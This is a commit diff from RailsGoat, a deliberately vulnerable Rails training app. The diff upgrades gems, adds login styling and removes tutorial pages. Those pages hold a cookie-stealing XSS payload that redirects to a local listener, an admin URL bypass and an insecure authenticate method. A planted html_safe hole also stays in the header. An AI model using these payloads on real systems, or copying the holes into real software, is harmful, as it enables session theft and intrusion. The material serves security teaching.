Upgraded 5 gems by rebuilding Gemfile.lock file
This commit is contained in:
+5
-5
@@ -25,7 +25,7 @@ GEM
|
||||
multi_json (~> 1.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo (~> 0.3.37)
|
||||
addressable (2.3.7)
|
||||
addressable (2.3.8)
|
||||
arel (4.0.2)
|
||||
aruba (0.5.4)
|
||||
childprocess (>= 0.3.6)
|
||||
@@ -143,8 +143,8 @@ GEM
|
||||
launchy (2.4.3)
|
||||
addressable (~> 2.3)
|
||||
libv8 (3.16.14.7)
|
||||
listen (2.9.0)
|
||||
celluloid (>= 0.15.2)
|
||||
listen (2.10.0)
|
||||
celluloid (~> 0.16.0)
|
||||
rb-fsevent (>= 0.9.3)
|
||||
rb-inotify (>= 0.9)
|
||||
lumberjack (1.0.9)
|
||||
@@ -245,10 +245,10 @@ GEM
|
||||
multi_json (~> 1.0)
|
||||
simplecov-html (~> 0.9.0)
|
||||
simplecov-html (0.9.0)
|
||||
sinatra (1.4.5)
|
||||
sinatra (1.4.6)
|
||||
rack (~> 1.4)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (~> 1.3, >= 1.3.4)
|
||||
tilt (>= 1.3, < 3)
|
||||
skinny (0.2.3)
|
||||
eventmachine (~> 1.0.0)
|
||||
thin (~> 1.5.0)
|
||||
|
||||
@@ -6316,6 +6316,87 @@ header {
|
||||
-moz-border-radius: 2px;
|
||||
border-radius: 2px; }
|
||||
|
||||
/* Login Wrapper */
|
||||
|
||||
.login-wrapper {
|
||||
position: relative;
|
||||
top: 0;
|
||||
margin-top: 50px;
|
||||
background: #f2f2f2;
|
||||
-webkit-border-radius: 0 0 0 4px;
|
||||
-moz-border-radius: 0 0 0 4px;
|
||||
border-radius: 0 0 0 4px;
|
||||
min-height: 1060px;
|
||||
margin-bottom: 10px;
|
||||
padding: 10px; }
|
||||
.login-wrapper .main-container .widget {
|
||||
background: #fafafa;
|
||||
border: 1px solid #bfbfbf;
|
||||
clear: both;
|
||||
margin-top: 0px;
|
||||
margin-bottom: 30px;
|
||||
-webkit-border-radius: 5px;
|
||||
-moz-border-radius: 5px;
|
||||
border-radius: 5px; }
|
||||
.login-wrapper .main-container .widget .widget-header {
|
||||
background-color: #ebebeb;
|
||||
/* Fallback Color */
|
||||
background-image: -webkit-gradient(linear, left top, left bottom, from(#f7f7f7), to(#ebebeb));
|
||||
/* Saf4+, Chrome */
|
||||
background-image: -webkit-linear-gradient(top, #f7f7f7, #ebebeb);
|
||||
/* Chrome 10+, Saf5.1+, iOS 5+ */
|
||||
background-image: -moz-linear-gradient(top, #f7f7f7, #ebebeb);
|
||||
/* FF3.6 */
|
||||
background-image: -ms-linear-gradient(top, #f7f7f7, #ebebeb);
|
||||
/* IE10 */
|
||||
background-image: -o-linear-gradient(top, #f7f7f7, #ebebeb);
|
||||
/* Opera 11.10+ */
|
||||
background-image: linear-gradient(top, #f7f7f7, #ebebeb);
|
||||
-webkit-border-radius: 3px 3px 0 0;
|
||||
-moz-border-radius: 3px 3px 0 0;
|
||||
border-radius: 3px 3px 0 0;
|
||||
border-bottom: 1px solid #d9d9d9;
|
||||
height: 24px;
|
||||
line-height: 24px;
|
||||
padding: 10px; }
|
||||
.login-wrapper .main-container .widget .widget-header .fs1 {
|
||||
margin-right: 1px; }
|
||||
.login-wrapper .main-container .widget .widget-header .fs1:hover {
|
||||
-webkit-transform: rotate(360deg);
|
||||
-moz-transform: rotate(360deg);
|
||||
-o-transform: rotate(360deg);
|
||||
-ms-transform: rotate(360deg);
|
||||
transform: rotate(360deg); }
|
||||
.login-wrapper .main-container .widget .widget-header .title {
|
||||
color: #404040;
|
||||
float: left;
|
||||
font-weight: bold;
|
||||
font-size: 13px; }
|
||||
.login-wrapper .main-container .widget .widget-header .title .attribution, .login-wrapper .main-container .widget .widget-header .title .mini-title {
|
||||
font-size: 11px;
|
||||
padding-left: 4px;
|
||||
color: #b3b3b3;
|
||||
font-weight: normal; }
|
||||
.login-wrapper .main-container .widget .widget-header span.tools {
|
||||
padding: 0;
|
||||
float: right;
|
||||
margin: 0; }
|
||||
.login-wrapper .main-container .widget .widget-header span.tools > a {
|
||||
display: inline-block;
|
||||
margin-right: 5px;
|
||||
color: #666666;
|
||||
margin-top: 3px; }
|
||||
.login-wrapper .main-container .widget .widget-header span.tools > a:hover {
|
||||
text-decoration: none;
|
||||
opacity: .6; }
|
||||
.login-wrapper .main-container .widget .widget-body {
|
||||
margin: 10px;
|
||||
padding: 5px;
|
||||
background: #f2f2f2;
|
||||
-webkit-border-radius: 2px;
|
||||
-moz-border-radius: 2px;
|
||||
border-radius: 2px; }
|
||||
|
||||
/* Metro Nav */
|
||||
.metro-navigation .nav-block {
|
||||
display: block;
|
||||
|
||||
@@ -2,96 +2,8 @@ class TutorialsController < ApplicationController
|
||||
skip_before_filter :has_info
|
||||
skip_before_filter :authenticated
|
||||
|
||||
def index
|
||||
end
|
||||
|
||||
def credentials
|
||||
render :partial => "layouts/tutorial/credentials/creds"
|
||||
end
|
||||
|
||||
def show
|
||||
render "injection"
|
||||
end
|
||||
|
||||
def injection
|
||||
end
|
||||
|
||||
def xss
|
||||
@code = %{
|
||||
<li style="color: #FFFFFF">
|
||||
<!--
|
||||
I'm going to use HTML safe because we had some weird stuff
|
||||
going on with funny chars and jquery, plus it says safe so I'm guessing
|
||||
nothing bad will happen
|
||||
-->
|
||||
Welcome, <%= current_user.first_name.html_safe %>
|
||||
</li>
|
||||
}
|
||||
end
|
||||
|
||||
def broken_auth
|
||||
end
|
||||
|
||||
def insecure_dor
|
||||
end
|
||||
|
||||
def csrf
|
||||
@meta_code_bad = %{<%#= csrf_meta_tags %> <!-- <~ What is this for? I hear it helps w/ JS and Sea-surfing.....whatevz -->}
|
||||
@meta_code_good = %{<%= csrf_meta_tags %> }
|
||||
@ajax_code_good = %q{
|
||||
("#example_submit_button_id").click(function(event) {
|
||||
var valuesToSubmit = $("#example_form_id").serialize();
|
||||
event.preventDefault();
|
||||
$.ajax(\{
|
||||
url: "/example",
|
||||
data: valuesToSubmit,
|
||||
type: "POST",
|
||||
success: function(response) \{
|
||||
alert('success!');
|
||||
},
|
||||
error: function(event) \{
|
||||
alert('failure!');
|
||||
\}
|
||||
\});
|
||||
\});
|
||||
|
||||
\} }
|
||||
end
|
||||
|
||||
def misconfig
|
||||
end
|
||||
|
||||
def insecure_components
|
||||
end
|
||||
|
||||
def access_control
|
||||
end
|
||||
|
||||
def crypto
|
||||
end
|
||||
|
||||
def url_access
|
||||
end
|
||||
|
||||
def ssl_tls
|
||||
end
|
||||
|
||||
def redirects
|
||||
end
|
||||
|
||||
def guard
|
||||
end
|
||||
|
||||
def logic_flaws
|
||||
end
|
||||
|
||||
def mass_assignment
|
||||
end
|
||||
|
||||
def guantlt
|
||||
|
||||
end
|
||||
|
||||
def metaprogramming
|
||||
end
|
||||
end
|
||||
|
||||
@@ -16,18 +16,20 @@ end
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<% if current_user %>
|
||||
<%= render "layouts/shared/header" %>
|
||||
<%= render "layouts/shared/sidebar" %>
|
||||
<% else %>
|
||||
<%= render "layouts/tutorial/header" %>
|
||||
<%= render "layouts/tutorial/sidebar" %>
|
||||
<% end %>
|
||||
<div class="container-fluid">
|
||||
<div class="dashboard-wrapper">
|
||||
<% if current_user %>
|
||||
<div class="dashboard-wrapper">
|
||||
<%= render "layouts/shared/messages" %>
|
||||
<%= yield %>
|
||||
</div>
|
||||
<% else %>
|
||||
<div class="login-wrapper">
|
||||
<%= render "layouts/shared/messages" %>
|
||||
<%= yield %>
|
||||
</div>
|
||||
<% end %>
|
||||
</div>
|
||||
<%= render "layouts/shared/footer" %>
|
||||
|
||||
|
||||
@@ -1,35 +1,76 @@
|
||||
<header>
|
||||
<span style="color:#eee;margin-left:10px;">
|
||||
Font Size:
|
||||
<a href="<%= home_dashboard_index_path %>?font=8pt" style="font-size:10pt;color:#eee;">A</a>
|
||||
<a href="<%= home_dashboard_index_path %>?font=200%25" style="font-size:18pt;color:#eee;">A</a>
|
||||
</span>
|
||||
<div class="user-profile">
|
||||
<a data-toggle="dropdown" class="dropdown-toggle">
|
||||
<img src=" <%= image_path('profile_color.jpg')%>" alt="profile">
|
||||
<% if current_user %>
|
||||
<header>
|
||||
<span style="color:#eee;margin-left:10px;">
|
||||
Font Size:
|
||||
<a href="<%= home_dashboard_index_path %>?font=8pt" style="font-size:10pt;color:#eee;">A</a>
|
||||
<a href="<%= home_dashboard_index_path %>?font=200%25" style="font-size:18pt;color:#eee;">A</a>
|
||||
</span>
|
||||
<div class="user-profile">
|
||||
<a data-toggle="dropdown" class="dropdown-toggle">
|
||||
<img src=" <%= image_path('profile_color.jpg')%>" alt="profile">
|
||||
</a>
|
||||
<span class="caret"></span>
|
||||
<ul class="dropdown-menu pull-right">
|
||||
<li>
|
||||
<%= link_to "account settings", user_account_settings_path(:user_id => current_user.user_id) %>
|
||||
</li>
|
||||
<li>
|
||||
<%= link_to "logout", logout_path %>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<ul class="mini-nav">
|
||||
<li style="color: #FFFFFF">
|
||||
<!--
|
||||
I'm going to use HTML safe because we had some weird stuff
|
||||
going on with funny chars and jquery, plus it says safe so I'm guessing
|
||||
nothing bad will happen
|
||||
-->
|
||||
Welcome, <%= current_user.first_name.html_safe %>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "Visit Tutorial", "https://github.com/OWASP/railsgoat/wiki/tutorials", {:class => "btn", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
</header>
|
||||
<% else %>
|
||||
<!-- Want to use this template whether auth'd or not so I've got some code to determine how to render below -->
|
||||
<header>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "signup", signup_path, {:class => "btn btn-primary", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "login", login_path, {:class => "btn", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "Tutorial Credentials", "#myModalLabel1", {:id => "show_creds_btn", :class => "btn btn-danger", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "Visit Tutorial", "https://github.com/OWASP/railsgoat/wiki/tutorials", {:class => "btn", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
</header>
|
||||
|
||||
<div id="modal_div" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myAlert" aria-hidden="true">
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
$('#show_creds_btn').click(function(event) {
|
||||
event.preventDefault();
|
||||
$("#modal_div").load(<%= credentials_tutorials_path.inspect.html_safe %>);
|
||||
$("#modal_div").modal("show");
|
||||
});
|
||||
</script>
|
||||
|
||||
<% end %>
|
||||
|
||||
</a>
|
||||
<span class="caret"></span>
|
||||
<ul class="dropdown-menu pull-right">
|
||||
<li>
|
||||
<%= link_to "account settings", user_account_settings_path(:user_id => current_user.user_id) %>
|
||||
</li>
|
||||
<li>
|
||||
<%= link_to "logout", logout_path %>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<ul class="mini-nav">
|
||||
<li style="color: #FFFFFF">
|
||||
<!--
|
||||
I'm going to use HTML safe because we had some weird stuff
|
||||
going on with funny chars and jquery, plus it says safe so I'm guessing
|
||||
nothing bad will happen
|
||||
-->
|
||||
Welcome, <%= current_user.first_name.html_safe %>
|
||||
</li>
|
||||
<li>
|
||||
<%= button_to "RailsGoat Tutorials", tutorials_path, {:class => "btn btn-primary", :method => "get"}%>
|
||||
</li>
|
||||
</ul>
|
||||
</header>
|
||||
@@ -1,3 +1,4 @@
|
||||
<% if current_user %>
|
||||
<div id="mainnav" class="hidden-phone hidden-tablet">
|
||||
<ul style="display: block;">
|
||||
<li id="home">
|
||||
@@ -138,3 +139,4 @@
|
||||
});
|
||||
|
||||
</script>
|
||||
<% end %>
|
||||
@@ -1,39 +0,0 @@
|
||||
<!-- Want to use this template whether auth'd or not so I've got some code to determine how to render below -->
|
||||
<header>
|
||||
<% if not current_user %>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "signup", signup_path, {:class => "btn btn-primary", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "login", login_path, {:class => "btn", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
<% else %>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "<- back to app", home_dashboard_index_path, {:class => "btn btn-primary", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
<% end %>
|
||||
<ul class="mini-nav">
|
||||
<li>
|
||||
<%= button_to "Tutorial Credentials", "#myModalLabel1", {:id => "show_creds_btn", :class => "btn btn-danger", :method => "get"} %>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
</header>
|
||||
|
||||
<div id="modal_div" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myAlert" aria-hidden="true">
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
$('#show_creds_btn').click(function(event) {
|
||||
event.preventDefault();
|
||||
$("#modal_div").load(<%= credentials_tutorials_path.inspect.html_safe %>);
|
||||
$("#modal_div").modal("show");
|
||||
});
|
||||
</script>
|
||||
@@ -1,168 +0,0 @@
|
||||
<div id="mainnav"class="hidden-phone hidden-tablet">
|
||||
<ul style="display: block;">
|
||||
<li id="tutorials_home">
|
||||
<%= link_to tutorials_path, :html => {:method => "get"} do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
Tutorial Home
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="injection">
|
||||
<%= link_to injection_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A1 Injection
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="broken_auth">
|
||||
<%= link_to broken_auth_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A2 Broken Auth
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="xss">
|
||||
<%= link_to xss_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A3 XSS
|
||||
<% end %>
|
||||
</li>
|
||||
|
||||
<li id="insecure_dor">
|
||||
<%= link_to insecure_dor_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A4 Insecure DOR
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="misconfig">
|
||||
<%= link_to misconfig_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A5 Misconfig
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="exposure">
|
||||
<%= link_to exposure_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A6 Exposure
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="access_control">
|
||||
<%= link_to access_control_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A7 Access Control
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="csrf">
|
||||
<%= link_to csrf_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A8 CSRF
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="insecure_components">
|
||||
<%= link_to insecure_components_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A9 Components
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="redirects">
|
||||
<%= link_to redirects_tutorials_path do %>
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
A10 Redirects
|
||||
<% end %>
|
||||
</li>
|
||||
<li id="submenu" class="submenu">
|
||||
<a href="#" class="selected">
|
||||
<div class="icon">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||
</div>
|
||||
Extras
|
||||
</a>
|
||||
<ul>
|
||||
<li id="gauntlt">
|
||||
<%= link_to "gauntlt", gauntlt_tutorials_path %>
|
||||
</li>
|
||||
<li id="guard">
|
||||
<%= link_to "Guard", guard_tutorials_path %>
|
||||
</li>
|
||||
<li id="mass_assignment">
|
||||
<%= link_to "Mass Assignment", mass_assignment_tutorials_path %>
|
||||
</li>
|
||||
<li id="logic_flaws">
|
||||
<%= link_to "Logic Flaws", logic_flaws_tutorials_path %>
|
||||
</li>
|
||||
<li id="metaprogramming">
|
||||
<%= link_to "Meta- Programming", metaprogramming_tutorials_path %>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
//Main menu navigation
|
||||
|
||||
$('.submenu > a').click(function(e){
|
||||
e.preventDefault();
|
||||
var submenu = $(this).siblings('ul');
|
||||
var li = $(this).parents('li');
|
||||
var submenus = $('#mainnav li.submenu ul');
|
||||
var submenus_parents = $('#mainnav li.submenu');
|
||||
if(li.hasClass('open'))
|
||||
{
|
||||
if(($(window).width() > 768) || ($(window).width() < 479)) {
|
||||
submenu.slideUp();
|
||||
} else {
|
||||
submenu.fadeOut(250);
|
||||
}
|
||||
li.removeClass('open');
|
||||
} else
|
||||
{
|
||||
if(($(window).width() > 768) || ($(window).width() < 479)) {
|
||||
submenus.slideUp();
|
||||
submenu.slideDown();
|
||||
} else {
|
||||
submenus.fadeOut(250);
|
||||
submenu.fadeIn(250);
|
||||
}
|
||||
submenus_parents.removeClass('open');
|
||||
li.addClass('open');
|
||||
}
|
||||
});
|
||||
|
||||
var ul = $('#mainnav > ul');
|
||||
|
||||
$('#mainnav > a').click(function(e)
|
||||
{
|
||||
e.preventDefault();
|
||||
var mainnav = $('#mainnav');
|
||||
if(mainnav.hasClass('open'))
|
||||
{
|
||||
mainnav.removeClass('open');
|
||||
ul.slideUp(250);
|
||||
} else
|
||||
{
|
||||
mainnav.addClass('open');
|
||||
ul.slideDown(250);
|
||||
}
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -1,98 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A7 - Missing Function Level Access Control
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Rails provides the ability to apply before_filter(s) which run prior to rendering content to the user. This is helpful when restricting access to content based on the user's role. These filters can be skipped on certain actions or controllers and entirely if certain conditions are met. In this case, the before_filter is being skipped if the admin_id param is equal to 1.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
class AdminController < ApplicationController
|
||||
|
||||
before_filter :administrative, :if => :admin_param
|
||||
|
||||
...
|
||||
|
||||
def admin_param
|
||||
params[:id] != '1'
|
||||
end
|
||||
} %>
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Failure to Restrict URL Access - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Request the following URL: /admin/1/dashboard and have fun :-)
|
||||
</p>
|
||||
<p><b>Failure to Restrict URL Access - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb. The additional condition that if the admin_id param equals 1 means the filter can be circumvented by an attacker. The way to fix this issue is to remove the conditional and enforce the filter on all access requests to the admin dashboard as follows:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
class AdminController < ApplicationController
|
||||
|
||||
before_filter :administrative
|
||||
} %>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
I bet there is some admin functionality in here :-)
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,93 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A2 - Broken Authentication and Session Management - Lack of HttpOnly Flag
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseHttpOnlyOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseHttpOnlyOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
The HttpOnly flag prevents access to the document.cookie attribute of the DOM via JavaScript. Helpful for limiting the impact of Cross-Site Scripting as it relates to session theft.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseHttpOnlyTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseHttpOnlyTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
By default, Ruby on Rails protects its' cookies with the HttpOnly flag. However, it is possible to disable this security protection and is not recommended. You can disable this protection using the flag highlighted below. This is an insecure and unnecessary change.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', <span style="background:yellow">httponly: false</span>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseHttpOnlyThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseHttpOnlyThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Lack of the HttpOnly Flag - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Navigate to the sign-up page, sign up as a user, but in the first name field, enter:
|
||||
<pre class="ruby">
|
||||
<script>document.location="http://localhost:8000/" + document.cookie </script>
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Additionally, fire up Python's SimpleHTTPServer module using the following command:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
$ python -m SimpleHTTPServer
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Now authenticate to the application as the user you just created, you'll be redirected, now review the terminal tab that has the python server running. You'll notice that you see a GET request with the user's session in the request path. This means you have now grabbed the user's session via Cross-Site Scripting.
|
||||
</p>
|
||||
</p>
|
||||
<p><b>Lack of the HttpOnly Flag - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
Keep the default configuration "as-is" and do not make this change. If this exists in your code base, remove it.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseHttpOnlyFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseHttpOnlyFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Can JavaScript interact with my session cookie?
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,111 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A2 - Broken Authentication and Session Management - Insecure Compare and Timing Attacks
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseCompOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseCompOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
A timing attack can exist in several forms. This specific case relates to username (email address) enumeration. By leveraging an automated tool, an attacker can review any subtle variation in response times after submitting a login request to determine if the application is performing a computationally intense function. Meaning, if a function is run once a user is discovered, even if the password is incorrect, this information provides the user with valid or invalid usernames.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseCompTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseCompTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Within app/models/user.rb
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def self.authenticate(email, password)
|
||||
auth = nil
|
||||
<span style="background-color: yellow"> user = find_by_email(email)</span>
|
||||
raise "#{email} doesn't exist!" if !(user)
|
||||
<span style="background-color: yellow">if user.password == Digest::MD5.hexdigest(password)</span>
|
||||
auth = user
|
||||
else
|
||||
raise "Incorrect Password!"
|
||||
end
|
||||
return auth
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use).
|
||||
</p>
|
||||
<p class="desc">
|
||||
To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user <i>is</i> found, we will perform a password comparison and process as normal.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseCompThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseCompThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Insecure Timing Attacks - SOLUTION</b></p>
|
||||
<p>
|
||||
Within app/models/user.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def self.authenticate(email, password)
|
||||
<span style="background-color: yellow">user = find_by_email(email) || User.new(:password => "")</span>
|
||||
<span style="background-color: yellow">if Rack::Utils.secure_compare(user.password, Digest::MD5.hexdigest(password))</span>
|
||||
return user
|
||||
else
|
||||
raise "Incorrect username or password"
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
